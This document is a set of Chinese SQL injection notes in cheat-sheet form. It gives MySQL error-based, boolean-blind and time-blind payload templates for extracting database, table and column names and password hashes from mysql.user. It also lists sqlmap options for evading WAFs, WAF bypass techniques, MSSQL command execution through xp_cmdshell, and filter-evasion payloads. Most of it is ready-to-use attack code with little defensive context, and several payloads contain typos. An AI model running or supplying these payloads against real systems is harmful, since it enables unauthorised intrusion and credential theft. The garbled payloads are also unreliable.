基础知识
MySql常用查询表:
#用户存储表
select * from information_schema.users
#数据库存储表
select * from information_schema.schemata
#列名存储表
select * from information_schema.columns
列名
- column_name
- table_name
- table_schema
SQL注入类型
- 有回显(需爆破出字段数)
#查询当前数据库(假设当前数据库为tz)
select databases();
#查看数据库tz中的表
select group_concat(table_name) from information_schema.tables where table_schema='tz';
#查看表test中的列
select group_concat(column_name) from information_schema.columns where table_schema='tz' and table_name='table';
#mysql 5.7.9之后查看用户加密密码
select user,authertication_string from mysql.user;
#mysql 5.7.9之前查看用户加密密码
select user,password from mysql.user
- 无回显
- 报错盲注
#适用于会返回报错的信息的注入,
updatexml(xdocument,xpath,value); #用于更新DOM树中值,当xpath错误时,会返回错误路径,将表达式插入,其会返回表达式值
#获取数据库名称
select updatexml(1,concat(0x7e,database()),0x7a);
#获取数据库中表名(只能返回部分,貌似受限于报错长度)
select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='tz')),0x7a);
#获取表中列名
select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='mysql' and table_name='user')),0x7a);
extractvalue(xdocument,xpath); #用于查看DOM树中值,原理同上个函数
#获取数据库名称
select extractvalue(1,concat(1,(select database())));
#获取数据中表名
select extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema='mysql')));
#获取数据库中列名
extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema='mysql')));
floor(); #向下取整
2. **布尔盲注**
#当没有表达式回显,但可以通过某些信息来判断语句是否执行成功时可用
#函数
mid(str,1,2) #从第一个位置截取两个字符
substr(str,1,2) #从第一个位置截取两个字符
#爆破数据库名长度
select * from user where id=1 and length(database())=5;
#爆破数据库名
select * from user where id=1 and ascii(mid(database(),%i,1)) = %k;
#爆破用户名
select * from user where id=1 and ascii(mid(user(),%i)) = %k;
#爆破表名(需要有数据库名)
select * from user where id=1 and ascii(substr((select table_name from information_schema.tables where table_schema='mysql' limit 0,1),%i,1)) = %k;
#爆破列数
select * from user where id=1 and (select count(column_name) from information_schema.columns where table_name='user' and table_schema='mysql') = 51;
#爆破列名(需要知道数据库名及表名)
select * from user where id=1 and ascii(substr((select column_name from information_schema.columns where table_name='table' and table_schema='mysql' limit %c,1),%d,1)) = %k;
3. **延时盲注**
#当执行sql语句不会有任何迹象时,可以采用延时盲注的形式来爆破数据,延迟时间需要设置稍长一点,不然可能由于网络原因产生误判
#函数
sleep(5) #使sql执行暂停五秒
if(database()='test',5,0) #若当前数据库名为test返回5
#爆破数据库名长度
select * from user where id=1 and sleep(if(length(database())=%i,5,0));
#爆破数据库名
select * from user where id=1 and sleep(if(ascii(substr(database(),%i,1))=%j,5,0));
#爆破表名(需要数据库名)
select * from user where id=1 and sleep(if(ascii(substr((select table_name from information_schema.tables where table_schema='mysql' limit %t,1),%i,1))=%j));
#爆破表中列数
select * from user where id=1 and sleep(if((select count(column_name) from information_columns where table_name='user' and table_schema='mysql')=%j,5,0));
#爆破列名
select * from user where id=1 and sleep(if(ascii(substr((select column_name from information_schema.columns where table_name='user' and table_schema='mysql' limit %k,1),%i,1))=%j,5,0));
绕过方式
其他数据库注入
Access
结构为 表 -> 列 ->数据
表名列名只能靠猜解
SqlServer
可写文件、写注册表、命令执行、反弹shell
二次注入
客户端将经过转义的恶意数据插入数据库中,而程序又要再次使用该数据进行查询,因此产生了二次注入。
加解密
客户端对参数进行加密再传递,但这种方式使用的一般都是对称加密,在前端是能找到解密方式的,因此可修改参数加密后再注入
dnslog
需要读写文件权限
dnslog平台: http://ceye.io
堆叠注入
使用 **;**号分割语句,执行多条语句,当爆破出表名列名时可以尝试添加用户
SqlMap
**–tamper : 使用脚本绕WAF(本质上是将Payload中的某些敏感字符替换)
-random-agent : **随机Http头
**绕频繁IP检测 : 使用浏览器爬虫特征\代理词\延时
-r : 指定字典
可以利用中转池来进行注入
–dbs :列出数据库
-D : 指定数据库
-tables :列出指定数据库表名
–current-db : **列出当前数据库库名
**POST注入 : **
一:抓取数据包并保存至文本文件,使用 -r 指定加载文件。也可以使用 ***** 或 **-p **指定参数
绕过WAF
架构层绕过
用户先通过WAF后再进入Web页面的,此时,只要能找到服务器真实IP就能够绕过WAF直接访问服务器。
通过边界服务器绕过,若此网络内其他服务器存在SSRF漏洞,可通过该服务器间接发起攻击。
过量数据绕过
由于资源限制,WAF无法对大量数据进行过滤,因此可以通过传入大量无用数据的方式绕过WAF
协议层面绕过
有些WAF只对某些单一请求方式进行过滤,但服务器后台并没有禁止其他请求方式,因此可采用替换请求方式进行绕过。
参数污染,某些WAF只对单个参数进行过滤,因此可采用 ?id=1/&id=2/的方式进行绕过
规则层面绕过
#过滤空格
##使用/**/替代
select*/**/from
##内联注释绕过
select/*!**/from/**/users;
#关键词过滤
##大小写绕过
##双写绕过(适用于将关键词过滤为空的情况)
##前端编码绕过
Mssql
提权
**xp_cmdshell:**sqlserver中的扩展脚本,可执行系统命令
mssql2005以上默认关闭,当拥有sa权限时,可以开启。
**sp_oacreate:**利用OLE的run方法执行系统命令
Bypass
#当and、or被过滤时,可使用管道符(|,||,&,&&)或xor(^)进行绕过
#当=号被过滤时,可以使用 like或regexp来替换
/*sql注入时多使用information_schema数据库进行数据库名、表名、列名的查询,当该关键字被过滤时
可使用sys数据库进行替代,其中保存了数据库最近进行的操作*/
#或使用数据库中不存在的函数来让数据库报错爆出数据库名
select * from users where uid=noexist();
#利用同名字段爆出字段名
select * from users where sno='1' and (select * from (select * from users as a join users as b)) as c;
#使用using函数爆出后续字段名
select * from users where sno='1' and (select * from (select * from users as a join users as b using(id))) as c;
#过滤字段名获取数据(在中间构造一个虚表,使用列标来获取数据,需要列出大于等于表中列数)
select * from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e
#过滤字段名获取数据二:盲注法(利用排序一个个爆出字符,适用于有一定回显)
select * from users where sno='1' union select 0,1,0x31 from users order by 3 desc;
#select被过滤,可使用盲注来进行爆破